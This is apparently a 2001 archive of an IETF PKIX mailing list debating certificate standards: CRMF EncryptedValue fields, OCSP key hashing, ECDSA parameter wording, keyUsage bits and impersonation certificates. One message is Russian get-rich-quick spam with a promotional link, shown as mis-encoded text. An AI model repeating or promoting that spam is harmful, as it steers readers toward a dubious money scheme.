<BR><FONT SIZE=3D2 FACE=3D"Arial">Chrysalis-ITS</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">One Chrysalis Way</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Ottawa, Ontario, CANADA, K2G =
6P9</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">[e-mail]&nbsp;&nbsp;&nbsp; Tel. (613) =
723-5076 ext. 3419</FONT>
<BR><U><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"http://www.chrysalis-its.com" =
TARGET=3D"_blank">http://www.chrysalis-its.com</A></FONT></U><FONT =
SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; Fax. [phone] </FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">From: Carlisle Adams [</FONT><U><FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"mailto:[e-mail]">mailto:carlisle.adams@entrust=
.com</A></FONT></U><FONT SIZE=3D2 FACE=3D"Arial">]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Sent: Monday, July 17, 2000 =
14:54</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">To: =
'[e-mail]'</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Cc: [e-mail]; =
[e-mail]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Subject: RE: Re: CRMF encValue =
Field</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi Francois,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">[snip]</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; In addition, this same =
clarification indicates that in this case, the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; intendedAlg field is unnecessary =
(since this information is included in</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; PrivateKeyInfo) and MUST be =
omitted. However, the algorithm identifier</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; field within the PrivateKeyInfo =
is encrypted, which means that the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &quot;EncryptedValue&quot; type =
would not contain any information in the clear about</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; the OID of the private key that =
it is carrying. Was this your intend,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; please clarify? I also =
understand that including the intendedAlg field</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; would duplicate the occurrence =
of the parameters field, since the syntax</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; of the =
&quot;AlgorithmIdentifier&quot; type also contains a =
&quot;parameters&quot; field,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; however by still indicating the =
algorithm OID, but forcing the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &quot;parameters&quot; field =
within the intendedAlg field to be NULL would allow the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &quot;EncryptedValue&quot; type =
to indicate what is the OID of the private key that</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; it is carrying, but not =
duplicate the parameters field. Wouldn't this</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; approach be better?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">No, this approach doesn't strike me =
as particularly better.&nbsp; It seems like a</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">real kludge to include an AlgId for =
the same thing twice, but to specify (in</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">commentary) that the parameters =
should be NULL for one of these and non-NULL</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">(i.e., present) for the other.&nbsp; =
This reduces clarity for the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">reader/implementer and may run in to =
trouble with some compilers that are</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">expecting actual parameter =
values.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">As for fact that the AlgId in =
PrivateKeyInfo is encrypted, why is this a</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">concern?&nbsp; Does the receiver need =
to know this prior to decryption?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Carlisle.</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01C0AB04.837FBEE0--


Received: from kodiak.chrysalis-its.com ([206.47.125.131]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA14113 for <[e-mail]>; Mon, 12 Mar 2001 05:34:56 -0800 (PST)
From: [e-mail]
Received: by kodiak.chrysalis-its.com with Internet Mail Service (5.5.2650.21) id <GFG7LKWT>; Mon, 12 Mar 2001 08:34:50 -0500
Message-ID: <[e-mail]>
To: [e-mail]
Cc: [e-mail], [e-mail]
Subject: RFC 2511bis EncryptedValue OPTIONAL intendedAlg Field
Date: Mon, 12 Mar 2001 08:34:44 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)

Hi Carlisle,

I know we exchanged few Emails on this particular issue in July last year,
but it seems I overlooked the final question in your previous response
below. 

Again I am not sure if I am missing something, but when thinking further
about the wrapping and unwrapping of private keys, I have noted that the
comment for the EncryptedValue under both Section 6.4 and Appendix C of RFC
2511bis still indicates that when the encValue field contains an encrypted
PrivateKeyInfo, the intendedAlg field is unnecessary (since this information
is included in PrivateKeyInfo) and MUST be omitted.  As indicated before,
the information included in PrivateKeyInfo once through the PKCS #11
C_WrapKey function is all encrypted.  This means that any information about
the intended algorithm for the private key is no longer available until the
PrivateKeyInfo is decrypted (i.e. unwrapped).

In response to your previous question, the C_UnwrapKey function from Section
11.14 of PKCS #11 does everything in one call and consequently all the
necessary information it requires needs to be known at priori.  However, the
problem in this case is that the C_UnwrapKey needs to know the template for
the private key (i.e. the type of the private key) that will be unwrapped as
part of its syntax.  The only source for this particular information would
seem to be the EncryptedValue intendedAlg field since the PrivateKeyInfo
privateKeyAlgorithm field is still encrypted.

Since the intendedAlg field MUST already be present when encValue contains
some other format/encoding for the private key, I would suggest changing the
intendedAlg field from OPTIONAL to mandatory for all cases or to indicate
that it MUST also be present when the encValue field contains an encrypted
PrivateKeyInfo.

Does this seem appropriate?

Cheers,

Francois
___________________________________
Francois Rousseau
Director of Standards and Conformance
Chrysalis-ITS
One Chrysalis Way
Ottawa, Ontario, CANADA, K2G 6P9
[e-mail]    Tel. [phone] ext. 3419
http://www.chrysalis-its.com   Fax. [phone] 


-----Original Message-----
From: Carlisle Adams [mailto:[e-mail]]
Sent: Monday, July 17, 2000 14:54
To: '[e-mail]'
Cc: [e-mail]; [e-mail]
Subject: RE: Re: CRMF encValue Field


Hi Francois,

[snip]

> In addition, this same clarification indicates that in this case, the
> intendedAlg field is unnecessary (since this information is included in
> PrivateKeyInfo) and MUST be omitted. However, the algorithm identifier
> field within the PrivateKeyInfo is encrypted, which means that the
> "EncryptedValue" type would not contain any information in the clear about
> the OID of the private key that it is carrying. Was this your intend,
> please clarify? I also understand that including the intendedAlg field
> would duplicate the occurrence of the parameters field, since the syntax
> of the "AlgorithmIdentifier" type also contains a "parameters" field,
> however by still indicating the algorithm OID, but forcing the
> "parameters" field within the intendedAlg field to be NULL would allow the
> "EncryptedValue" type to indicate what is the OID of the private key that
> it is carrying, but not duplicate the parameters field. Wouldn't this
> approach be better?
 
No, this approach doesn't strike me as particularly better.  It seems like a
real kludge to include an AlgId for the same thing twice, but to specify (in
commentary) that the parameters should be NULL for one of these and non-NULL
(i.e., present) for the other.  This reduces clarity for the
reader/implementer and may run in to trouble with some compilers that are
expecting actual parameter values.

As for fact that the AlgId in PrivateKeyInfo is encrypted, why is this a
concern?  Does the receiver need to know this prior to decryption?

Carlisle.


Received: from smtp02.symbian.com ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA11246 for <[e-mail]>; Mon, 12 Mar 2001 03:28:01 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]> for <[e-mail]>; Mon, 12 Mar 2001 10:56:25 +0000
Subject: Computation of issuerKeyHash in OCSP
To: [e-mail]
Cc: 
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Mon, 12 Mar 2001 10:55:17 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 12/03/2001 10:57:03 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

All,

I'd be grateful for clarification of the following point, regarding the
computation of the issuerKeyHash term in the CertID information used in
OCSP (v1).

The OCSP spec states:

'issuerKeyHash is the hash of the Issuer's public key. The hash shall be
calculated over the value (excluding tag and length) of the subject public
key field in the issuer's certificate.'

Note that subjectPublicKey is defined as having ASN1 type BIT STRING.  Can
someone specify whether the *entire* 'value' part of this encoded bit
string should be used, including the 'number of unused bits' octet, or
whether the 'number of unused bits' octet should be excluded, and only the
remaining value octets should be used.

Many thanks in advance,

Jonathan Tuliani
www.Symbian.com



**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************


Received: from cdc-info.cdc.informatik.tu-darmstadt.de (cdc-info.cdc.informatik.tu-darmstadt.de [130.83.23.100]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA05955 for <[e-mail]>; Mon, 12 Mar 2001 02:03:55 -0800 (PST)
Received: from cdc-ws1.cdc.informatik.tu-darmstadt.de (cdc-ws1 [130.83.23.129]) by cdc-info.cdc.informatik.tu-darmstadt.de (Postfix) with ESMTP id B77D12C6F for <[e-mail]>; Mon, 12 Mar 2001 11:03:57 +0100 (MET)
Received: (from moeller@localhost) by cdc-ws1.cdc.informatik.tu-darmstadt.de (8.9.3+Sun/8.9.3) id LAA28453 for [e-mail]; Mon, 12 Mar 2001 11:04:15 +0100 (MET)
Date: Mon, 12 Mar 2001 11:04:15 +0100
From: Bodo Moeller <[e-mail]>
To: [e-mail]
Subject: Re: draft-ietf-pkix-ipki-pkalgs-02.txt: ECDSA
Message-ID: <[e-mail]>
References: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2i
In-Reply-To: <[e-mail]>; from [e-mail] on Mon, Mar 12, 2001 at 10:38:19AM +0100

On Mon, Mar 12, 2001 at 10:38:19AM +0100, Bodo Moeller wrote:

> According to draft-ietf-pkix-ipki-pkalgs-02.txt, section 2.2.3,
> 
>    When the ecdsa-with-SHA1 algorithm identifier is used the parameters
>    MUST be NULL.
> 
> However section 2.3.5 specifies what the parameters should look like:
> 
>    ECDSA and ECDH require use of certain parameters with the public key.
>    The parameters may be inherited from the issuer, implicitly included
>    through reference to a "named curve," or explicitly included in the
>    certificate.
> 
>       ecpkParameters ::= CHOICE {
>         ecParameters  ECParameters,
>         namedCurve    OBJECT IDENTIFIER,
>         implicitlyCA  NULL }
> 
> Presumably 2.2.3 was meant to say that parameters are not OPTIONAL
> for ecdsa-with-SHA1, and that hence they must be NULL if there
> is no explicit value.

As the introduction to section 2.2 makes clear, the quote from 2.2.3
is intended to only apply to 'parameters' fields of
'AlgorithmIdentifier's used in 'signatureAlgorithm' fields of
certificate, but not to the 'subjectPublicKeyInfo' case.
Similarly to 2.2.3, section 2.2.2 states that

   When the id-dsa-with-sha1 algorithm identifier appears as the algo-
   rithm field in an AlgorithmIdentifier, the encoding SHALL omit the
   parameters field.  That is, the AlgorithmIdentifier shall be a
   SEQUENCE of one component: the OBJECT IDENTIFIER id-dsa-with-sha1.

This too is misleading because AlgorithmIdentifiers appear not only
in 'signatureAlgorithm' fields, but also in 'subjectPublicKeyInfo' fields.

So the paragraph in section 2.2.2 should say something like

   When the id-dsa-with-sha1 algorithm identifier appears as the algo-
   rithm field in a signatureAlgorithm field, the encoding SHALL omit the
   parameters field.  That is, the signatureAlgorithm field shall be a
   SEQUENCE of one component: the OBJECT IDENTIFIER id-dsa-with-sha1.

Similarly, the above quote from section 2.2.3 could be changed to

    When the ecdsa-with-SHA1 algorithm identifier appears as the
    algorithm field in a signatureAlgorithm field, the parameters
    MUST be NULL.


-- 
Bodo Möller <[e-mail]>
PGP http://www.informatik.tu-darmstadt.de/TI/Mitarbeiter/moeller/0x36d2c658.html
* TU Darmstadt, Theoretische Informatik, Alexanderstr. 10, D-64283 Darmstadt
* Tel. [phone], Fax [phone]


Received: from cdc-info.cdc.informatik.tu-darmstadt.de (cdc-info.cdc.informatik.tu-darmstadt.de [130.83.23.100]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA04609 for <[e-mail]>; Mon, 12 Mar 2001 01:37:58 -0800 (PST)
Received: from cdc-ws1.cdc.informatik.tu-darmstadt.de (cdc-ws1 [130.83.23.129]) by cdc-info.cdc.informatik.tu-darmstadt.de (Postfix) with ESMTP id 44B3E2C6F for <[e-mail]>; Mon, 12 Mar 2001 10:38:01 +0100 (MET)
Received: (from moeller@localhost) by cdc-ws1.cdc.informatik.tu-darmstadt.de (8.9.3+Sun/8.9.3) id KAA28381 for [e-mail]; Mon, 12 Mar 2001 10:38:20 +0100 (MET)
Date: Mon, 12 Mar 2001 10:38:19 +0100
From: Bodo Moeller <[e-mail]>
To: [e-mail]
Subject: draft-ietf-pkix-ipki-pkalgs-02.txt: ECDSA
Message-ID: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2i

According to draft-ietf-pkix-ipki-pkalgs-02.txt, section 2.2.3,

   When the ecdsa-with-SHA1 algorithm identifier is used the parameters
   MUST be NULL.

However section 2.3.5 specifies what the parameters should look like:

   ECDSA and ECDH require use of certain parameters with the public key.
   The parameters may be inherited from the issuer, implicitly included
   through reference to a "named curve," or explicitly included in the
   certificate.

      ecpkParameters ::= CHOICE {
        ecParameters  ECParameters,
        namedCurve    OBJECT IDENTIFIER,
        implicitlyCA  NULL }

Presumably 2.2.3 was meant to say that parameters are not OPTIONAL
for ecdsa-with-SHA1, and that hence they must be NULL if there
is no explicit value.


-- 
Bodo Möller <[e-mail]>
PGP http://www.informatik.tu-darmstadt.de/TI/Mitarbeiter/moeller/0x36d2c658.html
* TU Darmstadt, Theoretische Informatik, Alexanderstr. 10, D-64283 Darmstadt
* Tel. [phone], Fax [phone]


Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241]) by above.proper.com (8.9.3/8.9.3) with ESMTP id VAA28502 for <[e-mail]>; Sun, 11 Mar 2001 21:53:22 -0800 (PST)
Received: from [206.170.2.87] by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <[e-mail]> for [e-mail]; Sun, 11 Mar 2001 21:53:15 -0800 (PST)
Date: Sun, 11 Mar 2001 21:53:20 -0800
From: Aram Perez <[e-mail]>
Subject: KeyUsage Clarifications (was Open Issue in Part1: path length constraints)
In-reply-to: <[e-mail]>
To: PKIX <[e-mail]>
Message-id: <[e-mail]>
MIME-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022

David P. Kemp wrote:

> I've never seen any benefit of the cA flag in the basicConstraints
> extension; it's just a vestigial appendix left over from when there
> was no keyUsage extension.
> 
> Consider the following certificates:
> 
> #  cA   CertSign  cRLSign    Effect
> - ----- --------  -------   ------------
> 0  F     0         0        End Entity
> 1  F     0         1        End Entity (can sign CRLs)
> 2  F     1         0        End Entity
> 3  F     1         1        End Entity (can sign CRLs)
> 4  T     0         0    (Illegal*) Is a CA but can't sign certs or CRLs
> 5  T     0         1    (Illegal*) Is a CA, can sign CRLs only
> 6  T     1         0        CA, can sign certs
> 7  T     1         1        CA, can sign certs and CRLs
> 
> * As Dave S. points out, 4.2.1.10 prohibits cert types 4 and 5.
> 
> Is there any benefit to having eight different certificate types
> instead of just four?   In my example of the online CRL signer, what is
> accomplished by setting CA=true (cert #5) instead of CA=false (cert #1)?
> You say you would set it to indicate that the CRL issuer is a CA, but
> what would the application do with that knowledge? (i.e. what would it
> do differently than if the CA flag were false?)
> 
> More generally, is there any reason why Section 4.2.1.10 should
> not also prohibit cert types 2 and 3? (in other words, require the
> keyCertSign bit to always equal the cA flag?).

A while back I requested wording that would clarify which combinations of
keyUsage bits are valid and which are not. I'm glad you are also raising the
issue, maybe something will be done about it this time.

Regards,
Aram Perez



Received: from mail1.microsoft.com (mail1.microsoft.com [131.107.3.125]) by above.proper.com (8.9.3/8.9.3) with SMTP id MAA13797 for <[e-mail]>; Sat, 10 Mar 2001 12:46:18 -0800 (PST)
Received: from 157.54.9.103 by mail1.microsoft.com (InterScan E-Mail VirusWall NT); Sat, 10 Mar 2001 12:42:09 -0800 (Pacific Standard Time)
Received: by inet-imc-04.redmond.corp.microsoft.com with Internet Mail Service (5.5.2653.19) id <G4R6FL3A>; Sat, 10 Mar 2001 12:46:10 -0800
Message-ID: <[e-mail]>
From: David Cross <[e-mail]>
To: "'Bob Jueneman'" <[e-mail]>
Cc: [e-mail]
Subject: RE: WG Last Call: Son-of-2459
Date: Sat, 10 Mar 2001 12:45:40 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)

I think we are in agreement.  I just did not want us to do down the path of
unconstraining name and policy constraints when cross certificates are
generated.

David B. Cross



-----Original Message-----
From: Bob Jueneman [mailto:[e-mail]] 
Sent: Wednesday, March 07, 2001 7:25 AM
To: David Cross; [e-mail]
Cc: [e-mail]
Subject: RE: WG Last Call: Son-of-2459


>Steve:
>
>->Anyway, since it is clear that not all folks will issue cross certs
>as I suggested, I have to admit to liking the fallback position of
>allowing specification of name constraints as part of the validation 
>procedure, on a per trust anchor basis. The main argument I've seen 
>is the one that questions whether this should be a user configurable 
>parameter, or an administrative parameter, or whether this is a MAY 
>(vs. SHOULD/MUST), which allows vendors to ignore the facility 
>entirely.
>
>I would strongly disagree against allowing name constraints to be a 
>user configurable parameter.  This defeats the administrative value and 
>assurance that name constraints provide.
>
>David B. Cross

David, I'm not sure that I understand your point.  Name constraints only 
constrain, they can't "unconstrain".  So if the user (or the MIS department)
can specify a name constraint as a configurable parameter, that can only
tighten the noose, not loosen it.

So how does this defeat the administrative value name constraints provide?
Maybe I'm missing something, but I've always liked the idea of the user 
acting as the root CA of last resort, since as the relying party it is the
user, and normally not some third-party CA, that has to make the decision as
to 
whether or not to honor a digital signature and certificate chain.

I believe the same logic applies to policy OID constraints, by the way.

Bob





Received: from mail.orc.ru (mars.nc.orc.ru [212.48.128.131]) by above.proper.com (8.9.3/8.9.3) with SMTP id VAA11258 for <[e-mail]>; Fri, 9 Mar 2001 21:52:34 -0800 (PST)
Message-Id: <[e-mail]>
Received: (qmail 27312 invoked from network); 10 Mar 2001 05:52:26 -0000
Received: from unknown (HELO localhost) (212.48.131.33) by mars.nc.orc.ru with SMTP; 10 Mar 2001 05:52:26 -0000
X-Sender: [e-mail]
From: Felix <[e-mail]>
To: [e-mail]
Date: Sat, 10 Mar 2001 08:58:17 +0300
Subject: =?windows-1251?Q?Re:_=C2=FB_=ED=E5_=EE=E4=E8=ED,_=EA=F2=EE_=F5=EE=F7=E5=F2_=FD=F2=EE_=F1=E4=E5=EB=E0=F2=FC!?=
Reply-To: [e-mail]
MIME-Version: 1.0
Content-Type: text/plain; charset=windows-1251
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by above.proper.com id VAA11260

Âû íå îäèí, êòî õî÷åò óëó÷øèòü ñâîå áëàãîñîñòîÿíèå!

Íå íàäî èñêàòü ñëîæíûõ ïóòåé ðåøåíèÿ âàøèõ ôèíàíñîâûõ ïðîáëåì. 
Ïîäóìàéòå ãîëîâîé, âåäü äåíüãè âåðòÿòñÿ âîêðóã  âàñ, íàäî ïðîñòî ñóìåòü èõ âçÿòü!
Òîëüêî ëåíèâûé áûâàåò áåäíûì.

Óñëîâèå - óìåòü èëè íàó÷èòüñÿ ðàáîòàòü ñ ýëåêòðîííûìè äåíåæíûìè ñ÷åòàìè è
ñîâñåì ìàëîñòü ðàçáèðàòüñÿ â áóõãàëòåðèè. Âñå.

Íå ïîëåíèòåñü, çàéäèòå íà íàø SITE, 
óâåðåí îñòàíåòåñü äîâîëüíû, èíôîðìàöèÿ åùå íèêîìó íå ìåøàëà.

http://incolor.hypermart.net/stats

mailto:[e-mail] Ôåëèêñ.


Received: from mcs.anl.gov (cliff.mcs.anl.gov [140.221.9.17]) by above.proper.com (8.9.3/8.9.3) with ESMTP id SAA08694 for <[e-mail]>; Fri, 9 Mar 2001 18:30:46 -0800 (PST)
Received: from monkeyboy2k (pitcairn.mcs.anl.gov [140.221.9.180]) by mcs.anl.gov (8.9.3/8.9.3) with ESMTP id UAA21814; Fri, 9 Mar 2001 20:28:23 -0600
Message-Id: <4.2.2.20010309200638.01ab8d68@localhost>
X-Sender: tuecke@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Fri, 09 Mar 2001 20:11:36 -0600
To: "Carlin Covey" <[e-mail]>
From: Steve Tuecke <[e-mail]>
Subject: RE: Impersonation Certificates - proofing IC requesters
Cc: <[e-mail]>
In-Reply-To: <[e-mail]>
References: <4.2.2.20010309133724.00b575c0@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Our intended use of ICs in the Globus Project has not been for delegating 
signature authority from one human being to another.  Instead, it has been 
used to allow a human to delegate signature authority to his or her various 
processes running throughout a distributed computing system (aka. a "Grid").

-Steve

At 04:38 PM 3/9/2001  Friday, Carlin Covey wrote:
>Thanks, Steve.  That does clarify things.
>
>So impersonation certificates are not intended to be used for
>delegating signature authority from one human being to another?
>
>Regards,
>
>Carlin
>
>_____________________________________________
>- Carlin Covey
>   Cylink Corporation
>
>-----Original Message-----
>From: Steve Tuecke [mailto:[e-mail]]
>Sent: Friday, March 09, 2001 1:23 PM
>To: Carlin Covey
>Cc: [e-mail]
>Subject: Re: Impersonation Certificates - proofing IC requesters
>
>
>Carlin,
>
>Some examples of when ICs are generally created (in our experience with
>GSI) might help answer your questions:
>
>    1) Creation of a local IC for single sign-on purposes: In this case, the
>creation of the IC is driven entirely by the holder of the EEC.  So there
>is no requester of the IC.  Or I suppose you could say that the requester
>is already holding the EEC and its private key, so proofing is not an issue.
>
>    2) Delegation of an IC to a remote party, for example when starting a
>remote process: This is usually done over a mutually authenticated channel
>with, for example, the remote process starter service, so the issuer knows
>the identity of the starter to whom it is delegating the IC.  In this case,
>the issuer will be checking the identity of the party to whom it is issuing
>the IC for reasons aside from (or in addition to) proofing the IC
>requester. In addition, the IC delegation is usually done as one step of
>some well defined exchange between the parties, so the issuer knows in
>advance that it wants to issue the IC, and it just need to make sure that
>it is issuing it to the right party.  In other words, the issuance of the
>IC is again mostly driven by the issuer (i.e. the holder of the EEC, or of
>an existing IC), and as part of a larger protocol exchange between the
>parties.  So proofing the IC is really just a matter of checking the
>identity coming from the authentication (which you would do anyway), and
>verifying that the IC request does not have anything unexpected in
>it.  Standard message integrity checking on the mutually authenticated
>channel between the parties will prevent man-in-the-middle attacks.
>
>    3) Certificate repository: Suppose that the EEC and its private key are
>held in some sort of certificate/key repository, which will issue an IC
>upon request from a client.  So the questions are, how does the client
>authenticate with the repository, what authorization checks does the
>repository perform before issuing the IC, and how is a man-in-the-middle
>attack prevented?  Client authentication may be handled in a variety of
>ways.  For example, the client can connect to the server and perform server
>only authentication (i.e. it knows the identity of the repository in
>advance).  It can then provide a name/password, one-time-password, or
>something else over the confidential channel.  This password is used to
>authorize the IC issuance, and the IC is delegated back to the client over
>the integrity checked channel to avoid man-in-the-middle.
>
>So I think the answer to your question is that unlike a traditional CA, in
>the situations where we have used ICs effectively, previously issued EECs
>provide for the automatic authentication necessary to allow for automatic
>proofing of the request.
>
>-Steve
>
>At 05:54 PM 3/8/2001  Thursday, Carlin Covey wrote:
> >Gentlepersons,
> >
> >draft-ietf-pkix-impersonation-00.txt describes a mechanism for
> >delegating authority from entity A (who is not a CA) to entity B
> >by issuing an "Impersonation Certificate" (IC) to entity B that
> >is signed using entity A's PKC.
> >
> >Below step 5 of section 2.4. the following text appears:
> >
> >    "The process of creating an IC is as follows:
> >
> >    1. A new public and private key pair is generated.
> >
> >    2. An unsigned IC request is created, conforming to the profile
> >       described in this document.
> >
> >    3. The IC request is signed by the private key of the EEC, or by
> >       another IC.  During this process, the unsigned IC is verified to
> >       ensure that it is valid (e.g. it is not an EEC, the IC fields are
> >       appropriately set, etc).
> >
> >    When an IC is created as part of a delegation from entity A to
> >    entity B, this process is modified by performing steps #1 and #2
> >    within entity B, then passing the IC request from entity B to entity
> >    A over an integrity checked channel, then entity A performs step #3. "
> >
> >[Carlin's comments/questions]:
> >I'm trying to understand some of the security aspects.
> >I don't see any discussion of proofing the IC requester.  How
> >does the EE authenticate the identity of the IC requester?
> >A CA or RA normally has some sort of proofing facilities
> >available that are used to authenticate the identity of a
> >human being (e.g. a database of employee information, some
> >expertise in recognizing legitimate paper identity documents,
> >etc.)  An EE is probably not well-equipped to do this sort
> >of human identity proofing.  Moreover, in the example in
> >section 2.3 the IC requester appears to be some automated
> >process.  How does the EE authenticate the identity of this
> >process?  Even if the EE can authenticate the source of the
> >IC request, how are man-in-the-middle attacks prevented
> >during the IC request process?
> >
> >- Carlin Covey
> >   Cylink Corporation



Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA04340 for <[e-mail]>; Fri, 9 Mar 2001 14:49:48 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id GN1XVFL7; Fri, 9 Mar 2001 14:47:12 -0800
From: "Carlin Covey" <[e-mail]>
To: "Steve Tuecke" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: Impersonation Certificates - finding IC's
Date: Fri, 9 Mar 2001 15:49:08 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <4.2.2.20010309142301.00b53f00@localhost>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Steve,

"... not practical or desirable to pass the IC/EEC chain to the RP..."

Well, I don't have any specific scenario in mind, but there is the
wireless/low-bandwidth case that always seems to be lurking around the
corner, but never quite getting here.

I'll be at the IETF in Minneapolis.  I'd like to talk with you.

Regards,
Carlin
_______________________________________
Carlin Covey
Cylink Corporation

-----Original Message-----
From: Steve Tuecke [mailto:[e-mail]]
Sent: Friday, March 09, 2001 1:33 PM
To: Carlin Covey
Cc: [e-mail]
Subject: Re: Impersonation Certificates - finding IC's


In the Globus Toolkit, we use ICs to authenticate a TLS channel, and we
always pass the entire IC/EEC certificate chain during the authentication
handshake.  And whenever we delegate an IC, we pass the whole chain to the
RP.

I would be interested to hear a scenario where it is not practical or
desirable to pass the IC/EEC chain to the RP, or in the authentication
handshake.  And if you have any suggestions for changes that could be made
to support path discovery from a directory (or any other way), I'd love to
hear it.

I'll be in Minneapolis next week if you want to talk more about this in
person...

-Steve

At 08:04 PM 3/8/2001  Thursday, Carlin Covey wrote:
>In section 2.6 of draft-ietf-pkix-impersonation-00.txt the
>following words appear:
>
>    "To discourage mistakes in this area, this Impersonation Certificate
>    profile defines that the IC subject (actually its subjectAltName) is
>    just a pseudo-randomly generated string."
>
>[Carlin's comments/questions]:
>If the IC subject name is a pseudo-randomly generated string, how is the
>IC found in an X.500 or LDAP Directory?  Must it always be passed by the
>application to the RP rather than being found in a directory?
>
>- Carlin Covey
>   Cylink Corporation



Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA03597 for <[e-mail]>; Fri, 9 Mar 2001 14:39:17 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id GN1XVFKN; Fri, 9 Mar 2001 14:36:41 -0800
From: "Carlin Covey" <[e-mail]>
To: "Steve Tuecke" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: Impersonation Certificates - proofing IC requesters
Date: Fri, 9 Mar 2001 15:38:35 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
